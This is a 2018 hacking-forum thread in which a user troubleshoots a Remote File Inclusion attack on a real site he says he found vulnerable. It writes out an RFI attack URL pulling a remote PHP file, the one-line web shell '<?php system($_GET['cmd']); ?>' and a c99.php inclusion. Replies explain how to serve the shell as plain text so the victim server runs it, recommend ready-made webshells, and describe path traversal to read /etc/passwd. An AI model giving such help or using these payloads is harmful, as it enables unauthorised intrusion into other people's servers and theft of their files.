

Forum:[Hack Forums](#)

Thread: [Remote File Inclusion Problem](#)

kainzerdick - May 23, 2018, 12:29 am

Hey! Guys I am having a problem.. Pleas Enlighten me..

when i start the attack which is

www.victimsite.com/index.php?page=http://mysite.com/gg.php?cmd=ls

it will display my directory not the victim's directory.. why is that?

Mr.Wired - May 23, 2018, 7:30 am

You are actually executing the ls command on your pc and then print output on the victim's website. The code you are using has to be uploaded in the victim's site in order to show their directories.

kainzerdick - May 23, 2018, 10:17 am

That would be LFI.. So how does RFI work?

hi_man - May 23, 2018, 10:20 am

Is this link working ? I am getting redirected victimsite.com

kainzerdick - May 23, 2018, 1:12 pm

Maybe you forgot to something..

Elitas - May 23, 2018, 2:14 pm

(May 23, 2018 10:20 AM)hi_man Wrote: [\[CITE\]](#) Is this link working ? I am getting redirected victimsite.com

Yes, OP is trying to hack victimsite.com

Lol.. Think about that for a second.

I'm not 100% sure what to say OP considering you're not linking real sites, but RFI is basically when PHP includes PHP files based on user input. If that's the case, you need to inject a file with code in it and it should be executed by the victim's site in turn.

See https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion for more information. It's honestly a really good explanation here!

Local file inclusion BTW, is where that you grab a file contained locally within the server. So instead of including the URL, you include ".././../" and keep doing so in order to grab the contents of a sensitive file contained WITHIN the server, such as /etc/passwd.

Remember! RFI is considered a much bigger vulnerability, and generally speaking, when a victim includes a remote file, it will usually be possible to include a local file. So definitely test for both!

kainzerdick - May 24, 2018, 8:30 am

(May 23, 2018 12:29 AM)kainzerdick Wrote: [\[CITE\]](#)

www.victimsite.com/index.php?page=http://mysite.com/gg.php?cmd=ls

Actually I found a site who is vuln but I won't disclose it here..

Anyway.. in gg.php

it has

Code <?php system(\$_GET['cmd']); ?>inside.

So when I tried to exploit the vuln, I was expecting that it will display the directories of the victim's site but what happened was it displays the directory of my site.

Elitas - May 24, 2018, 1:06 pm

Well, system() just executes the given command on the server!

So... If \$_GET['cmd'] is == 'ls' then, you will see the directory listing.

Mr.Wired - May 24, 2018, 2:16 pm

(May 23, 2018 10:17 AM)kainzerdick Wrote: [\[CITE\]](#) That would be LFI.. So how does RFI work? Actually you didn't get my point . So you are using system() command which gets parameter from GET parameter and then print it on the screen , but the ls command is being executed on your malicious web server , and then the output of this is being sent to the victim's site . You are not including the shell when you attack with RFI , just the output

kainzerdick - May 24, 2018, 4:07 pm

(May 24, 2018 01:06 PM)Elitas Wrote: [\[CITE\]](#) Well, system() just executes the given command on the server!

So... If \$_GET['cmd'] is == 'ls' then, you will see the directory listing.

Yeah I know but it didn't display the directory of the victim.. it only shows mine..

(May 24, 2018 02:16 PM)z3r0c0n Wrote: [\[CITE\]](#) Actually you didn't get my point . So you are using system() command which gets parameter from GET parameter and then print it on the screen , but the ls command is being executed on your malicious web server , and then the output of this is being sent to the victim's site . You are not including the shell when you attack with RFI , just the output

Ok.. I also tried this..

Code `www.victimsite.com/index.php?page=http://mysite.com/c99.php`

But what happened was it displays MY directory not the victim's directory..

I just followed the tutorial here..

<https://www.hackeroyale.com/hacking-websites-using-rfi-remote-file-inclusion-attack/>

Elitas - May 24, 2018, 4:25 pm

Don't put your site in at all, you don't need it! Use LFI vuln to just grab the contents of the SITE in question.

Or are you trying to include the PHP from your site? You need to make it plaintext & visible code, not being executed by PHP on your webserver.

kainzerdick - May 24, 2018, 4:34 pm

I already achieved LFI.. I want something new that is why I want to use RFI..

(May 24, 2018 04:25 PM)Elitas Wrote: [\[CITE\]](#) You need to make it plaintext & visible code, not being

executed by PHP on your webserver.

Hmmm I think that is my problem.. I will try it later.. thank you..

Elitas - May 25, 2018, 3:47 am

(May 24, 2018 04:34 PM)kainzerdick Wrote: [\[CITE\]](#) I already achieved LFI.. I want something new that is why I want to use RFI..

Hmmm I think that is my problem.. I will try it later.. thank you..

It should be including the file, but accepting it as a .php file.

Then you obviously just inject your PHP webshell into it. Try a GitHub webshell, they work well !

Mechrono - May 25, 2018, 3:31 pm

looks like your directory is for sale lol